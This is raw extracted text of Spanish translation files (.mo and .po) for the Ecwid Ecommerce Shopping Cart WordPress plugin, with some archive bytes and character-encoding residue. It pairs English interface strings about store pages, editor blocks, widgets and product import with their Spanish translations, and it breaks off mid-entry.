sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral.�¡Su tienda ya está casi lista!�Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda.�La página de su tienda�La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos.�La página de su tienda está publicada. Los clientes pueden visitar su tienda en �Su tienda se mostrará aquí�¡Su tienda se mostrará aquí!�Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda.�[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)�personalizar apariencia�Contenido�Tienda�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�o <a %s>consulte el centro de asistencia�REF del producto�Precio del producto�seleccionar producto�producto seleccionado�Tienda en línea�Botón de «Comprar ahora»�PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_PR.ponu�„[µü¤��������# Translation of Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) in German # This file is distributed under the same license as the Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2020-10-12 12:46\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: GlotPress/3.0.0-alpha.2\n" "Language: es\n" "Project-Id-Version: temporary-strings\n" "X-Crowdin-Project: temporary-strings\n" "X-Crowdin-Project-ID: 295314\n" "X-Crowdin-Language: es-ES\n" "X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po\n" "X-Crowdin-File-ID: 988\n" "Language-Team: Spanish\n" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:92 msgid "You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel." msgstr "Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda." #: includes/integrations/elementor/class-ec-elementor-widget-store.php:55 msgid "To manage your store, go to <a %s>the Store Dashboard page</a>" msgstr "Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:39 msgid "The category that is shown by default on the Store Front Page" msgstr "La categoría que se muestra de forma predeterminada en la página del escaparate virtual" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:38 msgid "Default category" msgstr "Categoría predeterminada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:29 msgid "Online Store" msgstr "Tienda en línea" #: includes/class-ecwid-stub-renderer.php:38 msgid "Buy Now" msgstr "Comprar ahora" #: templates/admin/welcome-terms-privacy.php:5 msgid "By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>." msgstr "Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>." #: js/gutenberg/blocks.build.js:1 msgid "Display shopping cart and checkout page" msgstr "Mostrar el carrito de compras y la página de pago" #: js/gutenberg/blocks.build.js:1 msgid "Cart and Checkout" msgstr "Carrito y pago" #: js/gutenberg/blocks.build.js:1 msgid "Filters" msgstr "Filtros" #: js/gutenberg/blocks.build.js:1 msgid "You can enable filters in the store settings: (“<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Settings → Product Filters</a>â€)." msgstr "Puede habilitar los filtros en la configuración de la tienda: («<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Configuración → Filtros para los productos</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Search and Filters" msgstr "Búsqueda y filtros" #: js/gutenberg/blocks.build.js:1 msgid "Display search page with filters on a side" msgstr "Mostrar página de búsqueda con los filtros a un lado" #: js/gutenberg/blocks.build.js:1 msgid "Product Search and filters" msgstr "Búsqueda de productos y filtros" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display product page with description and a buy button" msgstr "Mostrar la página de productos con la descripción y un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Large" msgstr "Ficha de producto ampliada" #: js/gutenberg/blocks.build.js:1 msgid "Selected category" msgstr "Categoría seleccionada" #: js/gutenberg/blocks.build.js:1 msgid "Select category" msgstr "Seleccionar categoría" #: js/gutenberg/blocks.build.js:1 msgid "Add categories" msgstr "Añadir categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display category page" msgstr "Mostrar la página de categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Category Page" msgstr "Página de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Display shopping bag link and summary" msgstr "Mostrar enlace y resumen de la bolsa de compras" #: js/gutenberg/blocks.build.js:1 msgid "Shopping Cart Icon" msgstr "Icono del carrito de compras" #: js/gutenberg/blocks.build.js:1 msgid "The block is hidden because you don't have categories in your store. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Add categories.</a>" msgstr "El bloque está oculto porque no tiene categorías en su tienda. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Añadir categorías.</a>" #: js/gutenberg/blocks.build.js:1 msgid "Categories" msgstr "Categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display categories navigation bar" msgstr "Mostrar la barra de navegación de las categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Categories Menu" msgstr "Menú de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Product Search Box" msgstr "Cuadro de búsqueda de productos" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:25 #: js/gutenberg/blocks.build.js:1 msgid "Linked product" msgstr "Producto vinculado" #: js/gutenberg/blocks.build.js:1 msgid "Display a buy button" msgstr "Mostrar un botón de compra" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:10 #: js/gutenberg/blocks.build.js:1 msgid "Buy Now Button" msgstr "Botón «Comprar ahora»" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:52 #: js/gutenberg/blocks.build.js:1 msgid "Show price inside the «Buy now» button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: js/gutenberg/blocks.build.js:1 msgctxt "gutenberg-product-block" msgid "Content" msgstr "Contenido" #: js/gutenberg/blocks.build.js:1 msgid "Change" msgstr "Cambiar" #: js/gutenberg/blocks.build.js:1 msgid "Displayed product" msgstr "Producto mostrado" #: js/gutenberg/blocks.build.js:1 msgid "Display product with a buy button" msgstr "Mostrar el producto con un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Small" msgstr "Ficha de producto reducida" #: js/gutenberg/blocks.build.js:1 msgid "Very dark gray" msgstr "Gris oscuro" #: js/gutenberg/blocks.build.js:1 msgid "Cyan bluish gray" msgstr "Gris cian azulado" #: js/gutenberg/blocks.build.js:1 msgid "Very light gray" msgstr "Gris claro" #: js/gutenberg/blocks.build.js:1 msgid "Vivid cyan blue" msgstr "Azul cian vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale cyan blue" msgstr "Azul cian pálido" #: js/gutenberg/blocks.build.js:1 msgid "Vivid green cyan" msgstr "Cian verde vívido" #: js/gutenberg/blocks.build.js:1 msgid "Light green cyan" msgstr "Cian verde claro" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid amber" msgstr "Ãmbar vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid orange" msgstr "Naranja vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Vivid red" msgstr "Rojo vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale pink" msgstr "Rosa pálido" #: js/gutenberg/blocks.build.js:1 msgid "Set manually" msgstr "Configurar manualmente" #: js/gutenberg/blocks.build.js:1 msgid "Detect automatically" msgstr "Detectar automáticamente" #: js/gutenberg/blocks.build.js:1 msgid "Color settings" msgstr "Configuración de colores" #: js/gutenberg/blocks.build.js:1 msgid "Store Navigation" msgstr "Navegación en la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Store Front Page" msgstr "Página del escaparate virtual" #: js/gutenberg/blocks.build.js:1 msgid "Product sidebar content" msgstr "Contenido de la barra lateral de productos" #: js/gutenberg/blocks.build.js:1 msgid "Product Page Appearance" msgstr "Apariencia de la página del producto" #: js/gutenberg/blocks.build.js:1 msgid "Product List Appearance" msgstr "Apariencia de la lista de productos" #: js/gutenberg/blocks.build.js:1 msgid "Category List Appearance" msgstr "Apariencia de la lista de categorías" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display cart icon" msgstr "Mostrar icono del carrito" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Add storefront (product listing)" msgstr "Añadir escaparate virtual (listado de productos)" #: templates/admin/storefront/main.php:21 msgid "Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers." msgstr "Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes." #: templates/admin/storefront/main.php:20 msgid "The store is not visible on your site" msgstr "La tienda no es visible en su sitio web" #: templates/admin/storefront/main.php:4 msgid "Your Storefront" msgstr "Su escaparate virtual" #: templates/admin/storefront/area-promo.php:30 msgid "Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales." #: templates/admin/storefront/area-promo.php:29 msgid "Promote your store" msgstr "Promocione su tienda" #: templates/admin/storefront/area-promo.php:26 msgid "Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store." msgstr "Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda." #: templates/admin/storefront/area-promo.php:25 msgid "Change store content" msgstr "Cambiar el contenido de la tienda" #: templates/admin/storefront/area-promo.php:22 msgid "Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand." msgstr "Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca." #: templates/admin/storefront/area-promo.php:21 msgid "Customize store appearance" msgstr "Personalizar la apariencia de la tienda" #: templates/admin/storefront/area-promo.php:7 msgid "Add your %s store to the website and start selling in minutes." msgstr "Añada su tienda de %s al sitio web y comience a vender en minutos." #: templates/admin/storefront/area-promo.php:3 msgid "What's next?" msgstr "¿Qué sigue?" #: templates/admin/storefront/area-additional.php:224 msgid "Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar." msgstr "Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral." #: templates/admin/storefront/area-additional.php:222 msgid "Choose the main store page" msgstr "Elegir la página principal de la tienda" #: templates/admin/storefront/area-additional.php:200 msgid "Go to Pages" msgstr "Ir a «Páginas»" #: templates/admin/storefront/area-additional.php:193 msgid "You can add the entire storefront, categories, products, or \"Buy now\" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block." msgstr "Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado." #: templates/admin/storefront/area-additional.php:189 msgid "Add your store to other site pages" msgstr "Añada su tienda a otras páginas del sitio web" #: templates/admin/storefront/area-additional.php:166 msgid "Create Product Page" msgstr "Crear página de productos" #: templates/admin/storefront/area-additional.php:150 msgid "Pick Product" msgstr "Elegir un producto" #: templates/admin/storefront/area-additional.php:136 #: templates/admin/storefront/area-additional.php:138 msgid "Create a landing page featuring one of your products." msgstr "Cree una página de aterrizaje con uno de sus productos." #: templates/admin/storefront/area-additional.php:132 msgid "Add a product page" msgstr "Añadir página de productos" #: templates/admin/storefront/area-additional.php:109 msgid "Create Category Page" msgstr "Crear página de categorías" #: templates/admin/storefront/area-additional.php:93 msgid "Pick Category" msgstr "Elegir una categoría" #: templates/admin/storefront/area-additional.php:79 #: templates/admin/storefront/area-additional.php:81 msgid "Feature a specific store category on a separate page of your site." msgstr "Destacar una categoría de la tienda específica en una página separada de su sitio web." #: templates/admin/storefront/area-additional.php:75 msgid "Add a category page" msgstr "Añadir una página de categoría" #: templates/admin/storefront/area-additional.php:54 msgid "Create Search Page" msgstr "Crear página de búsqueda" #: templates/admin/storefront/area-additional.php:50 msgid "Show customers that they can use a search and filters to find desired products faster." msgstr "Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida." #: templates/admin/storefront/area-additional.php:48 msgid "Add a search and filters page" msgstr "Añadir una página de búsqueda y filtros" #: templates/admin/storefront/area-additional.php:27 msgid "Create Cart Page" msgstr "Crear página del carrito" #: templates/admin/storefront/area-additional.php:23 msgid "Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout." msgstr "Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago." #: templates/admin/storefront/area-additional.php:21 msgid "Add cart and checkout page" msgstr "Añadir carrito y página de pago" #: templates/admin/storefront/area-additional.php:4 msgid "Highlight products, categories, and other store pages by adding them to separate website pages." msgstr "Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas." #: templates/admin/storefront/area-additional.php:3 msgid "Additional store pages" msgstr "Páginas adicionales de la tienda" #: templates/admin/storefront/draft-message.php:2 msgid "Publish the page to use this option" msgstr "Publique la página para poder utilizar esta opción" #: templates/admin/storefront/area-design.php:55 msgid "Along with the store catalog, you can add other widgets and texts to the store page." msgstr "Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda." #: templates/admin/storefront/area-design.php:54 msgid "Store page content" msgstr "Contenido de la página de la tienda" #: templates/admin/storefront/area-design.php:25 #: templates/admin/storefront/area-design.php:27 msgid "Adjust your store design to fit your business needs." msgstr "Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio." #: templates/admin/storefront/area-design.php:21 msgid "Store appearance" msgstr "Apariencia de la tienda" #: templates/admin/storefront/area-design.php:4 msgid "Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers." msgstr "Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes." #: templates/admin/storefront/area-design.php:3 msgid "Design and content" msgstr "Diseño y contenido" #: templates/admin/storefront/area-status.php:124 msgid "Create Store Page" msgstr "Crear la página de la tienda" #: templates/admin/storefront/area-status.php:121 msgid "Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display." msgstr "Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda." #: templates/admin/storefront/area-status.php:115 msgid "Set Up Your Store" msgstr "Configure su tienda" #: templates/admin/storefront/area-status.php:109 msgid "To show your storefront instead of the demo store, connect your existing %s account or create a new one." msgstr "Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva." #: templates/admin/storefront/area-status.php:101 msgid "Publish Store Page" msgstr "Publicar la página de la tienda" #: templates/admin/storefront/area-status.php:98 msgid "Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders." msgstr "La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos." #: templates/admin/storefront/area-status.php:92 msgid "View Store Page" msgstr "Ver la página de la tienda" #: templates/admin/storefront/area-status.php:86 msgid "Your store page is published. Customers can browse your store at " msgstr "La página de su tienda está publicada. Los clientes pueden visitar su tienda en " #: templates/admin/storefront/area-status.php:77 msgid "View demo store page" msgstr "Ver la página de la tienda de demostración" #: templates/admin/storefront/area-status.php:46 msgid "Draft" msgstr "Borrador" #: templates/admin/storefront/area-status.php:45 msgid "Published" msgstr "Publicada" #: templates/admin/storefront/area-status.php:33 #: templates/admin/storefront/area-status.php:36 msgid "Status" msgstr "Estado" #: templates/admin/storefront/area-status.php:29 msgid "Add a store page" msgstr "Añadir una página de tienda" #: templates/admin/storefront/area-status.php:24 msgid "Connect your %s store" msgstr "Conecte su tienda de %s" #: templates/admin/storefront/area-status.php:21 msgid "Your store page" msgstr "La página de su tienda" #: templates/admin/storefront/area-status.php:10 msgid "To start selling, add a page to your site where the storefront will display." msgstr "Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual." #: templates/admin/storefront/area-status.php:7 msgid "While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site." msgstr "Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web." #: templates/admin/storefront/area-status.php:4 msgid "Store page on your site" msgstr "Página de la tienda en su sitio web" #: templates/admin/storefront/area-navigation.php:205 msgid "The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href=\"%s\" target=\"_blank\">adjust the cart icon appearance</a>." msgstr "El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href=\"%s\" target=\"_blank\">ajustar la apariencia del icono del carrito</a>." #: templates/admin/storefront/area-navigation.php:201 msgid "Display the shopping cart icon on site pages" msgstr "Muestre el icono del carrito de compras en las páginas del sitio web" #: templates/admin/storefront/area-navigation.php:179 msgid "Manage Sidebar" msgstr "Gestionar la barra lateral" #: templates/admin/storefront/area-navigation.php:175 msgid "Highlight your best sellers or new products in the website sidebar." msgstr "Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web." #: templates/admin/storefront/area-navigation.php:173 msgid "Feature your products in the sidebar" msgstr "Destaque sus productos en la barra lateral" #: templates/admin/storefront/area-navigation.php:151 msgid "Add Store Page to Menu" msgstr "Añadir la página de la tienda al menú" #: templates/admin/storefront/area-navigation.php:147 msgid "Make your store accessible from the site menu so your customers can easily find it." msgstr "Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente." #: templates/admin/storefront/area-navigation.php:141 msgid "Add store page to the site menu" msgstr "Añadir la página de la tienda al menú del sitio web" #: templates/admin/storefront/area-navigation.php:118 msgid "Edit URL Slug" msgstr "Editar «slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:102 msgid "Current URL slug: /<span data-ec-store-slug>%s</span>" msgstr "«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>" #: templates/admin/storefront/area-navigation.php:78 msgid "Save" msgstr "Guardar" #: templates/admin/storefront/area-navigation.php:69 msgid "URL Slug" msgstr "«Slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:60 #: templates/admin/storefront/area-navigation.php:113 msgid "A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use \"/shop\" or \"/products\"." msgstr "Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos»." #: templates/admin/storefront/area-navigation.php:56 #: templates/admin/storefront/area-navigation.php:98 msgid "Customize store page address" msgstr "Personalizar la dirección de la página de la tienda" #: templates/admin/storefront/area-navigation.php:29 msgid "Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href=\"%s\" target=\"_blank\">WordPress Settings > Reading</a>" msgstr "Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href=\"%s\" target=\"_blank\">Configuración de WordPress > Lectura</a>." #: templates/admin/storefront/area-navigation.php:21 msgid "Show your store on the home page" msgstr "Muestre su tienda en la página de inicio" #: templates/admin/storefront/area-navigation.php:4 msgid "Help customers find your store on the website." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web." #: templates/admin/storefront/area-navigation.php:3 msgid "Navigation" msgstr "Navegación" #: templates/admin/welcome-no_oauth.php:12 msgid "Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>." msgstr "El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>." #: templates/admin/welcome-create.php:11 msgid "Your store has been created. Preparing your store dashboard ..." msgstr "Se ha creado su tienda. Preparando el panel de su tienda..." #: templates/admin/welcome-connect.php:8 msgid "Create store" msgstr "Crear tienda" #: templates/admin/welcome-connect.php:4 msgid "Connect Your Store" msgstr "Conecte su tienda" #: templates/admin/welcome-page.php:61 msgid "Provided by <a %s>%s</a>" msgstr "Proporcionado por <a %s>%s</a>" #: templates/admin/welcome-page.php:33 msgid "To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>." msgstr "Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>." #: templates/admin/welcome-page.php:20 msgid "Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website." msgstr "Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web." #: templates/admin/welcome-page.php:12 msgid "Add an Online Store to Your Website" msgstr "Añadir una tienda en línea a su sitio web" #: includes/class-ecwid-store-page.php:566 msgid "This is a demo store. Create your store to see your store products here." msgstr "Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí." #: includes/class-ecwid-admin-storefront-page.php:539 msgid "Publish" msgstr "Publicar" #: templates/admin/storefront/area-design.php:33 #: templates/admin/storefront/area-design.php:59 #: includes/class-ecwid-admin-storefront-page.php:532 msgid "Edit" msgstr "Editar" #: includes/class-ecwid-admin-storefront-page.php:525 msgid "Preview" msgstr "Vista previa" #: includes/class-ecwid-admin-storefront-page.php:516 msgid "Switch to draft" msgstr "Cambiar al borrador" #: includes/class-ecwid-admin-storefront-page.php:506 msgid "Edit page" msgstr "Editar página" #: includes/class-ecwid-admin-storefront-page.php:499 msgid "View store page" msgstr "Ver la página de la tienda" #: includes/class-ecwid-admin-storefront-page.php:286 msgid "Search products" msgstr "Buscar productos" #: includes/class-ecwid-admin-storefront-page.php:265 msgid "Category" msgstr "Categoría" #: includes/class-ecwid-admin-storefront-page.php:240 msgid "Page with that name already exists." msgstr "Ya existe una página con ese nombre." #: includes/class-ecwid-admin.php:538 msgid "My Profile" msgstr "Mi perfil" #: includes/class-ecwid-admin.php:533 msgid "Apps" msgstr "Aplicaciones" #: includes/class-ecwid-admin.php:523 msgid "Shipping & Pickup" msgstr "Envío y recogida" #: includes/class-ecwid-admin.php:518 msgid "Payment" msgstr "Pago" #: includes/class-ecwid-admin.php:513 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:88 msgid "Design" msgstr "Diseño" #: includes/class-ecwid-admin.php:509 msgid "Configuration" msgstr "Configuración" #: includes/class-ecwid-admin.php:504 msgid "All Sales Channels" msgstr "Todos los canales de venta" #: includes/class-ecwid-admin.php:499 msgid "Website" msgstr "Sitio web" #: includes/class-ecwid-admin.php:494 msgid "Mobile" msgstr "Móvil" #: includes/class-ecwid-admin.php:485 msgid "Sales channels" msgstr "Canales de venta" #: includes/class-ecwid-admin.php:480 msgid "Reports" msgstr "Informes" #: includes/class-ecwid-admin.php:475 msgid "Marketing" msgstr "Mercadotecnia" #: includes/class-ecwid-admin.php:470 msgid "Catalog" msgstr "Catálogo" #: includes/class-ecwid-admin.php:465 msgid "My Sales" msgstr "Mis ventas" #: includes/class-ecwid-admin.php:455 msgid "Store management" msgstr "Gestión de la tienda" #: includes/class-ecwid-admin.php:344 msgid "Instant site" msgstr "Sitio web instantáneo" #: includes/class-ecwid-admin.php:153 includes/class-ecwid-admin.php:154 #: includes/class-ecwid-admin.php:309 msgid "Storefront" msgstr "Escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Manage storefront" msgstr "Gestionar escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Customize design" msgstr "Personalizar el diseño" #: ecwid-shopping-cart.php:1103 msgid "Manage store" msgstr "Gestionar la tienda" #: templates/importer/woo-main.tpl.php:97 msgid "Start Import" msgstr "Iniciar la importación" #: templates/importer/woo-main.tpl.php:87 msgid "Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target=\"_blank\">\"Billing & Plans\"</a></nobr> page in your Ecwid store control panel." msgstr "Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target=\"_blank\">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid." #: templates/importer/woo-main.tpl.php:82 msgid "Import creates new products and update the existing products with matching SKUs." msgstr "La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes." #: templates/importer/woo-main.tpl.php:60 msgid "Copying products and categories." msgstr "Copia de productos y categorías." #: templates/importer/woo-main.tpl.php:50 msgid "Import completed. <a href=\"%s\">Run again.</a>" msgstr "Importación completada. <a href=\"%s\">Ejecútela de nuevo.</a>" #: templates/importer/woo-main.tpl.php:34 msgid "Import is in Progress" msgstr "La importación está en progreso" #: templates/importer/woo-main.tpl.php:32 msgid "Import your products from Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/woo-main.tpl.php:18 msgid "Update your catalog" msgstr "Actualice su catálogo" #: templates/importer/woo-main.tpl.php:4 msgid "Import Your Products From Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/import-no-token.tpl.php:3 msgid "Click the connect button to get rights to update the product catalog" msgstr "Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos" #: templates/importer/woo-complete-alert.tpl.php:52 msgid "Go to Your %s Products" msgstr "Ir a sus productos de %s" #: templates/importer/woo-complete-alert.tpl.php:43 msgid "Download <a href=\"%s\">import log</a>" msgstr "Descargar <a href=\"%s\">registro de importación</a>" #: templates/importer/woo-complete-alert.tpl.php:32 msgid "Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>" msgstr "Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>" #: templates/importer/woo-complete-alert.tpl.php:21 msgid "<b>%s</b> categories" msgstr "<b>%s</b> categorías" #: templates/importer/woo-complete-alert.tpl.php:18 msgid "Imported <b>%s</b> products" msgstr "<b>%s</b> productos importados" #: templates/importer/woo-complete-alert.tpl.php:15 msgid "Import completed" msgstr "Importación completada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:10 #: includes/widgets/class-ecwid-widget-product-browser.php:12 msgid "Online store" msgstr "Tienda en línea" #: includes/class-ecwid-store-page.php:476 msgid "%s Store Page" msgstr "Página de la tienda de %s" #: templates/advanced-settings.php:79 msgid "Integration with search on your site" msgstr "Integración con la búsqueda en su sitio web" #: templates/sync.php:130 msgid "Deleted products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: includes/class-ecwid-custom-admin-page.php:66 msgid "Themes for Ecwid" msgstr "Temas para Ecwid" #: includes/class-ecwid-custom-admin-page.php:33 msgid 